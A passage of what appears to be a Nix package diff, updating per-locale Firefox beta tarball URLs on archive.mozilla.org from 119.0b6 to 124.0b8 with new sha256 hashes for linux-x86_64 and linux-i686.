"https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/kab/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/kab/firefox-124.0b8.tar.bz2"; locale = "kab"; arch = "linux-x86_64"; - sha256 = "82e6383d1ae3708077525d6af18b54d653be90c08e1d8b43801d83696e086c65"; + sha256 = "35b7d9bdb1b3b7be1f81d835e4c8a4dcfc6fe6972e6306236b73f43a18998138"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/kk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/kk/firefox-124.0b8.tar.bz2"; locale = "kk"; arch = "linux-x86_64"; - sha256 = "8afbc941c1afd7bf46ef07cbd5590ce75f95634febfde46f739326c7c344976e"; + sha256 = "c437382b634f275765947c196009ca95dd915048e3971636b265ee32c2c0694a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/km/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/km/firefox-124.0b8.tar.bz2"; locale = "km"; arch = "linux-x86_64"; - sha256 = "ea40ac277a502b7d2ffe6f0c95ebca551b360c78377ecf78e7dde8e30d5d3771"; + sha256 = "a1b68b3d19faf9ced453267a4def22f93ecc221152d2fd678ac06c365ccaeddd"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/kn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/kn/firefox-124.0b8.tar.bz2"; locale = "kn"; arch = "linux-x86_64"; - sha256 = "3ebe329a34c386f5abacc1a71c6d4d857bc29c8afd4d6738278441b3fb176b52"; + sha256 = "f58931ed182ef51499dbbbbf0c2dcc0cf16e81fa52e5262f68d96ccf3dfd1fd7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ko/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ko/firefox-124.0b8.tar.bz2"; locale = "ko"; arch = "linux-x86_64"; - sha256 = "fd4fc4cb9576e4f27c5baa59b5a8e650e9a09dd581191eda2b2fa43cdeb59d4c"; + sha256 = "a12b37a933d08a9937e4a11a616c00da1ef1b2598636791fdb11a86838fed531"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/lij/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/lij/firefox-124.0b8.tar.bz2"; locale = "lij"; arch = "linux-x86_64"; - sha256 = "bc0a41f902ef8d45475a0ea4a9612e00ce28c1e3af1e4ac6d279be2e1e0f546a"; + sha256 = "4ffedfb9586bf7829bc28075404845ac5313a6fd12454ba1868ff7b09fee3e30"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/lt/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/lt/firefox-124.0b8.tar.bz2"; locale = "lt"; arch = "linux-x86_64"; - sha256 = "77a14c250a4d48e63a1131c59a966f815468644966b74bf9dfdb9b0a800acac4"; + sha256 = "be6ee9c388a756c491ed837143158ed985053fb2641aa3308fa62cc64119de16"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/lv/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/lv/firefox-124.0b8.tar.bz2"; locale = "lv"; arch = "linux-x86_64"; - sha256 = "7739bb320f0378ffce06823ea99b2b059138ab74396dacb3f9a8146e5a679d28"; + sha256 = "ba4c68dd71c385f208b5204f96e60e5696a513966e24f5971b0bf4b0f601eeab"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/mk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/mk/firefox-124.0b8.tar.bz2"; locale = "mk"; arch = "linux-x86_64"; - sha256 = "31c6da50ec3c216e47ff4560854300d7c5f49f187fd00af4f5b95a560b4644da"; + sha256 = "01ef871b2faaa1386d5fe87fa5f3e02450d34225006f4cd0d707c18153e9f227"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/mr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/mr/firefox-124.0b8.tar.bz2"; locale = "mr"; arch = "linux-x86_64"; - sha256 = "ae6b36ba25e4926ca5308eb9e49349220cbfe67f628a2ff97299cc1c07508eed"; + sha256 = "835df049127e84688e8f5f4d335282c3555ec27c451c18e5d021c58443767954"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ms/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ms/firefox-124.0b8.tar.bz2"; locale = "ms"; arch = "linux-x86_64"; - sha256 = "1b461db57a22f2af0f4d2371f2749f63b49ab8bcde5eb03bd01000bc1922963f"; + sha256 = "1281b674ee9f91d948b0f97d5b4a2663b06235083477530c196fbb550871e554"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/my/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/my/firefox-124.0b8.tar.bz2"; locale = "my"; arch = "linux-x86_64"; - sha256 = "cb896c973fced6499d0b5d0a88ab359de0be926d6b3e675d552a9401fc514a0f"; + sha256 = "fcd415563af57e2520583770ad3cb65b3d6cc9d5c58820e23b9972a609697896"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/nb-NO/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/nb-NO/firefox-124.0b8.tar.bz2"; locale = "nb-NO"; arch = "linux-x86_64"; - sha256 = "cc9e3f2dfc121d6bbc5ec8eb7978ba0e0e6804dcef632919229c122f0f4898f5"; + sha256 = "22f97efb833b969b73d970964464696d48b79e38dda3df73780f3bc4864e190b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ne-NP/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ne-NP/firefox-124.0b8.tar.bz2"; locale = "ne-NP"; arch = "linux-x86_64"; - sha256 = "db1ae6bbf74c07945b0550b4e857f46c50a450c649d95fc638ee79c6f4b9d5fe"; + sha256 = "ce06a4576f0e005cd782270120297e09ac4cdb76cde7c30afa154894fb3ad9de"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/nl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/nl/firefox-124.0b8.tar.bz2"; locale = "nl"; arch = "linux-x86_64"; - sha256 = "ff66018baa06511ab0b4542ee7daf02b92a3226b384826c93c7faf3547400f00"; + sha256 = "f58d39d3055151b14721dd71a6275022790b192fd314c47fe6cbecf7bf6aa0e5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/nn-NO/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/nn-NO/firefox-124.0b8.tar.bz2"; locale = "nn-NO"; arch = "linux-x86_64"; - sha256 = "998be79bccce541901e08e1ffde2589690f35611874d4a3381e30eade8b0df96"; + sha256 = "efc46d4866f505d8d4cd616099d25f2e2d4816584d26de434e6c4ade1901aa15"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/oc/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/oc/firefox-124.0b8.tar.bz2"; locale = "oc"; arch = "linux-x86_64"; - sha256 = "bb1affd0f6033be6f2b948cbe45d6f0a0c72a0c7d2830d559049cd42a8556891"; + sha256 = "bd7585d14218a2736108097f4f19e4aa2835e6d920d543e0e7a0f8752d5723ec"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/pa-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/pa-IN/firefox-124.0b8.tar.bz2"; locale = "pa-IN"; arch = "linux-x86_64"; - sha256 = "b6188b8e74b61bf41ce13c11c6e6edb256ed3b580bc81a5503759c39ae8e2975"; + sha256 = "57dabc970195c887ec53a354ee10c1cc603ddd2490f67ab82dd7f8bb0a436e6d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/pl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/pl/firefox-124.0b8.tar.bz2"; locale = "pl"; arch = "linux-x86_64"; - sha256 = "42640c440031befd0f108c94a47fea434915b2737a90fec11bc37b9352d9d150"; + sha256 = "01d21b0141e06d3f1cdf85cf0b24c42ac477bab74aae89d46f328adf59178e37"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/pt-BR/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/pt-BR/firefox-124.0b8.tar.bz2"; locale = "pt-BR"; arch = "linux-x86_64"; - sha256 = "6c99453ea5f33f548f07612a4e1dcfe660317d7a31889fbad58b36450bb50adb"; + sha256 = "bd61c71a527a525abb866502b8ee736ba038b5d5f73f91e0a11943c3710fc20f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/pt-PT/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/pt-PT/firefox-124.0b8.tar.bz2"; locale = "pt-PT"; arch = "linux-x86_64"; - sha256 = "4f0305d3da737fafc9a424df8db0aa25a1e99135aaef8fc340743324b36de894"; + sha256 = "53e40341c49f6d27180a938404c2a56209c005d903b1d1c3bc1c7d484e4d0eef"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/rm/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/rm/firefox-124.0b8.tar.bz2"; locale = "rm"; arch = "linux-x86_64"; - sha256 = "a13c0cad16dfb0181d5804e42e9f5a9b9aa65f31f125b71461bca8000cc6f2e7"; + sha256 = "5d8150abe8259961e6594fdd78dfee6ce5cc8a41abf9a19d2c81aa6eb96d2356"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ro/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ro/firefox-124.0b8.tar.bz2"; locale = "ro"; arch = "linux-x86_64"; - sha256 = "6927bac6ef5d53d606e1cf14d0bace2e084b917e58ec6ea146ac038890076418"; + sha256 = "0eb76559f252afe5d127b15ce12c2d25074cb672f6ec5a08f5ae0ad36d8f1b94"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ru/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ru/firefox-124.0b8.tar.bz2"; locale = "ru"; arch = "linux-x86_64"; - sha256 = "8d707f8fa2cc6fee8ead1cbb9d7585c3d0c33bb1add1b286f0a4955949b2dfb9"; + sha256 = "2bf109d625b3ad396d128636ff39eda37ec19313d64b396fd9345b2ba3aa59da"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sat/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sat/firefox-124.0b8.tar.bz2"; locale = "sat"; arch = "linux-x86_64"; - sha256 = "d61dc0c76152c83437096365ae8f162ae62c0304f8e277ca1629d87521153ebb"; + sha256 = "4009662d05b7b68badfcda5bda423f19b4ba9ecbddbf0f2b6bf4f1eaa80db417"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sc/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sc/firefox-124.0b8.tar.bz2"; locale = "sc"; arch = "linux-x86_64"; - sha256 = "605072564b0b751f9c586df8cf21814002ca378d20b0b2bcfcc6747685e61f36"; + sha256 = "e87055f385cbcb3709733d6262fa206518d878ad529917468816b39e50786d7d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sco/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sco/firefox-124.0b8.tar.bz2"; locale = "sco"; arch = "linux-x86_64"; - sha256 = "28c4b87d30bc853a3fc210424cfb1527ffbbf75fbca7c374cfd3e006d46ef7ef"; + sha256 = "1c50bfdb850e31dda249fe3690190a2cc5c0bf364f8ae7d6785828670afc909f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/si/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/si/firefox-124.0b8.tar.bz2"; locale = "si"; arch = "linux-x86_64"; - sha256 = "dc5a9baed40c9321dda7aa20b7147ac655760059cc0ca2ea1549c4a29e6035ff"; + sha256 = "0417a734f8ae09012dc3938dd75d57ec8137809a061bfd45030ff91d569b399e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sk/firefox-124.0b8.tar.bz2"; locale = "sk"; arch = "linux-x86_64"; - sha256 = "3375a7450b16f27d20a5a4624b6dabb467e3b69689e31289317cae1be3690874"; + sha256 = "99690e159e2c46e1dc3461518d2f7d7b5cb5eec01380dcd31c10396cb5150108"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sl/firefox-124.0b8.tar.bz2"; locale = "sl"; arch = "linux-x86_64"; - sha256 = "61969bfda32ae873583920b4c3b3a973eb09ccbb561971eb6e6a3a91c6d63dad"; + sha256 = "e2cdae50872eb59517ce8f7a5e97acb7638c39d316f056bceb85adbaef3ac35a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/son/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/son/firefox-124.0b8.tar.bz2"; locale = "son"; arch = "linux-x86_64"; - sha256 = "5dee7311285b3c7bdaccceb2bd6b82d638621b821f3de5221a25f16a2edb03f4"; + sha256 = "caa0e11deb1fc520ec34118a0b4b1e606636e79e13e2517ff011911b4953f22a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sq/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sq/firefox-124.0b8.tar.bz2"; locale = "sq"; arch = "linux-x86_64"; - sha256 = "4d48d48f0748057df5ad991a39cbf48688425537655668fc21846db706b3467a"; + sha256 = "f8163e8fd64b5e953b91aa6d3a371ea911927f0b7b5c33b75a492973ffaa4280"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sr/firefox-124.0b8.tar.bz2"; locale = "sr"; arch = "linux-x86_64"; - sha256 = "f7cf2b3e22a209e0e929b4faefd1838851d0defa08ebf805b1ec0b44aa7d271e"; + sha256 = "9b4cdc44c7e6b48af7be0bc81117f3ca03b3780b187c0779591fd72b1968bf0e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/sv-SE/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/sv-SE/firefox-124.0b8.tar.bz2"; locale = "sv-SE"; arch = "linux-x86_64"; - sha256 = "96cabf15eb5d2a2895c1246feb4fc47b95c1322fb8082181679a2cdc6b405678"; + sha256 = "ec839806e1c3947c2b3631b1c2aeb71487fd57ea8c676685497f97f81af152c9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/szl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/szl/firefox-124.0b8.tar.bz2"; locale = "szl"; arch = "linux-x86_64"; - sha256 = "09619a0c74615be4dc0cf190758c82051611c4c875da7419c7057cfcb9308a9c"; + sha256 = "214be5eb788674c0ea75c4a374d53c64bac186e5107e6aae48dcd104f812537d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ta/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ta/firefox-124.0b8.tar.bz2"; locale = "ta"; arch = "linux-x86_64"; - sha256 = "ecbfc6e2f24c250884a959df8b59981a249835b6c1d23b249a6f882f9d916b17"; + sha256 = "fdf7e1134f47247cb4b36c42201a6a3b51b96ba3e47ae1c3a2bffce5234a7a90"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/te/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/te/firefox-124.0b8.tar.bz2"; locale = "te"; arch = "linux-x86_64"; - sha256 = "5f61c2897105ee45ccbdec665edd3d67a73825333a77002a14984c208087af65"; + sha256 = "2ef07ad1c1a007781f6da44b302ae20558c3c06142d89aae2270e88115ce5e2f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/tg/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/tg/firefox-124.0b8.tar.bz2"; locale = "tg"; arch = "linux-x86_64"; - sha256 = "b9572b7bd246d2b427da497cc8c3c8bf8a6f3639c71d7720a8a0853861ba9219"; + sha256 = "f1c60b13b9b50603102649d46f38eacb25c367c606a5b79a45a4775c753cac31"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/th/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/th/firefox-124.0b8.tar.bz2"; locale = "th"; arch = "linux-x86_64"; - sha256 = "142df8ad9962021fc75c140b0ece4228807c908f282711860a2b2329c08ab37b"; + sha256 = "37ec497b4afe4f99858ccd548738e228777ff79824de783798a99ae11e19fe8c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/tl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/tl/firefox-124.0b8.tar.bz2"; locale = "tl"; arch = "linux-x86_64"; - sha256 = "c3fea25ce49b162ea49a4af6c1039a106eb9342b5d6b7fd4278b836cd37e179e"; + sha256 = "bbdd4dc391fe275faffc94a08c5c398be660641bac6adf6ff3aa1e207ee99cb3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/tr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/tr/firefox-124.0b8.tar.bz2"; locale = "tr"; arch = "linux-x86_64"; - sha256 = "1563cf5874154e2ef1e2d68e175fb2dc88621a2cad394a1e9461d783d8055e1c"; + sha256 = "fcbfbad85ce3dc94818858eeca8a7f582418ae49797f92c2246cea1da01376f0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/trs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/trs/firefox-124.0b8.tar.bz2"; locale = "trs"; arch = "linux-x86_64"; - sha256 = "cb41d625ea87c8a32c10677c912acdf7ea124b68e8ed2f24ad0651be905f17dc"; + sha256 = "4ddb5aecc4b35d8006daa5254f9ad5250c1e8559fc4d25fbd8ea689aa0b29f82"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/uk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/uk/firefox-124.0b8.tar.bz2"; locale = "uk"; arch = "linux-x86_64"; - sha256 = "3a35aaf5fd21a472d930670056df4723401242a62ad0281b09fb5b6ba4c57423"; + sha256 = "700adcbb6c5f72353c0219b7cdd78163a169f3af738656aa15ecf1cfbca1d4b1"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/ur/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/ur/firefox-124.0b8.tar.bz2"; locale = "ur"; arch = "linux-x86_64"; - sha256 = "68b55314db43e666fdfe5c99b03f4a4952367f545dda03f6566e5d11c28a8014"; + sha256 = "fb34526f530ff6a98b027a2d546a3946746355b48f5a6fc5474450a8844e89f4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/uz/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/uz/firefox-124.0b8.tar.bz2"; locale = "uz"; arch = "linux-x86_64"; - sha256 = "67d721242d4e3c0950786847d22b6caa91d4c91eddd865c1d3f4cce542efd282"; + sha256 = "6ed20bf3fa767f67ff4eeb21dfaee038e0fc8bb55508a6052fcfca56ae52a068"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/vi/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/vi/firefox-124.0b8.tar.bz2"; locale = "vi"; arch = "linux-x86_64"; - sha256 = "d7c5097c32527a55627639945c5565ba368d3d2e00ae2df0c9aa291987985861"; + sha256 = "de6804cd8bc5ad41fd3f2cf7568d579917452f051be9ce9532d58b692e4eb0ac"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/xh/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/xh/firefox-124.0b8.tar.bz2"; locale = "xh"; arch = "linux-x86_64"; - sha256 = "66059db2521b7a2a293d45db180bc165b38f35ebfc99be836f3cccf21991bfc9"; + sha256 = "ef53fe68d37517d4e6c02f440222668b90e9ebbe5f72629073cc9575b725573d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/zh-CN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/zh-CN/firefox-124.0b8.tar.bz2"; locale = "zh-CN"; arch = "linux-x86_64"; - sha256 = "c0f37c0a3c71be9124c98d423b24300f879c42840fcbd0869fc6ef2634ddd018"; + sha256 = "219b8e7e0c3f4a00a7c1eca4ca99219a2be42374d7a5edf217bd6d949f575dc9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-x86_64/zh-TW/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-x86_64/zh-TW/firefox-124.0b8.tar.bz2"; locale = "zh-TW"; arch = "linux-x86_64"; - sha256 = "4c79f290b4f371e1b9fe0943d70af2dad0f0eea44c09ebe8233ceeec63cbd300"; + sha256 = "4a1eac1e258a53643810d165edf9bcc30e649c8336fa73d25f7a677b3b560464"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ach/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ach/firefox-124.0b8.tar.bz2"; locale = "ach"; arch = "linux-i686"; - sha256 = "fc312d3449ca702e20f8068b7c03aa4c99002937c7b9fddaa4ffae84a4f85f0e"; + sha256 = "bdcbd1f7da60fb1123831297ba67633084f00058384c3deca781e6b7f631ce0b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/af/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/af/firefox-124.0b8.tar.bz2"; locale = "af"; arch = "linux-i686"; - sha256 = "4709fd5b03033d9f446bcded2881480e3422457c2172177ed93d28d21dee371b"; + sha256 = "5e0a213a6805744dc628cc34b21f6033b36d0043786040d8b4fbb6f253a2a125"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/an/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/an/firefox-124.0b8.tar.bz2"; locale = "an"; arch = "linux-i686"; - sha256 = "ba53b4c50323205533cee64fef138588f95fcc11e109cd69468669ebbdff2c1f"; + sha256 = "b846416562c0aba9e3251517ece40a5ea023972ecdc54f52f29444fd5fbf71c4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ar/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ar/firefox-124.0b8.tar.bz2"; locale = "ar"; arch = "linux-i686"; - sha256 = "8380c9717d94d46d174ebc4dbc0e2bf2e3f3aa87f5f6801fe8c6364fb526e1ae"; + sha256 = "ac12e77c4bbbadde99f467246e06a42b248d6546e66c75b5b69b6504ddcf04c2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ast/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ast/firefox-124.0b8.tar.bz2"; locale = "ast"; arch = "linux-i686"; - sha256 = "1d7ad1f5b3f39324e7ff7d68bfccb45ae01659543c91ed8c4370ce08a68987e1"; + sha256 = "f0728b3c6b35d76de0981d149c9164b3184ab34269f28957c4782447eb2e7ec3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/az/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/az/firefox-124.0b8.tar.bz2"; locale = "az"; arch = "linux-i686"; - sha256 = "3654b54007b638232aeda8f82e308e83902c9bacb5c4400a252628369c914dbe"; + sha256 = "875851341f23b907320e5e82c06b311ecb0036e4bcd5b7e1f37570f897fd1499"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/be/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/be/firefox-124.0b8.tar.bz2"; locale = "be"; arch = "linux-i686"; - sha256 = "6f35eecf5df49a9d9074b064a0ddcf58661671e539a4824facad7b53682e9f0d"; + sha256 = "deed159e3b60dfb5c4e968090970aa65a5bc809452d6fae4e4af66c760c2eca9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/bg/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/bg/firefox-124.0b8.tar.bz2"; locale = "bg"; arch = "linux-i686"; - sha256 = "a6ede53f86474c53ae3297b7e9b7ab7c962337b58af577b78fc2ea3bd4e5d3a0"; + sha256 = "8ec73869da3b30ba52204e183ae3b32dfb4d834e283fe9d01825d1f62fe4225d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/bn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/bn/firefox-124.0b8.tar.bz2"; locale = "bn"; arch = "linux-i686"; - sha256 = "9a3df0e4c2dbda0d50c1a8334158d477ff526cb3c144ecbe977434e238c6eab0"; + sha256 = "efcc5d00828b1d5577fb05af7fe766041b7518636e135dc20d2bd889ed0ee6eb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/br/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/br/firefox-124.0b8.tar.bz2"; locale = "br"; arch = "linux-i686"; - sha256 = "103e32e095b38604fd807cd2707ae99190d8a1249bb0cc4da9c15e9426626321"; + sha256 = "852099cc439439327428a76f72309c4522f517e9d9505669d234e7df835f69d4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/bs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/bs/firefox-124.0b8.tar.bz2"; locale = "bs"; arch = "linux-i686"; - sha256 = "e630bfbd71002f1fd1ebb8f7565c0ba0dc766b0833fe2bec37e7c30cf75be9a1"; + sha256 = "6053af49749d82f733ec34baa91ddd122b4fb1e368bc200c9aa48170e6354d3f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ca-valencia/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ca-valencia/firefox-124.0b8.tar.bz2"; locale = "ca-valencia"; arch = "linux-i686"; - sha256 = 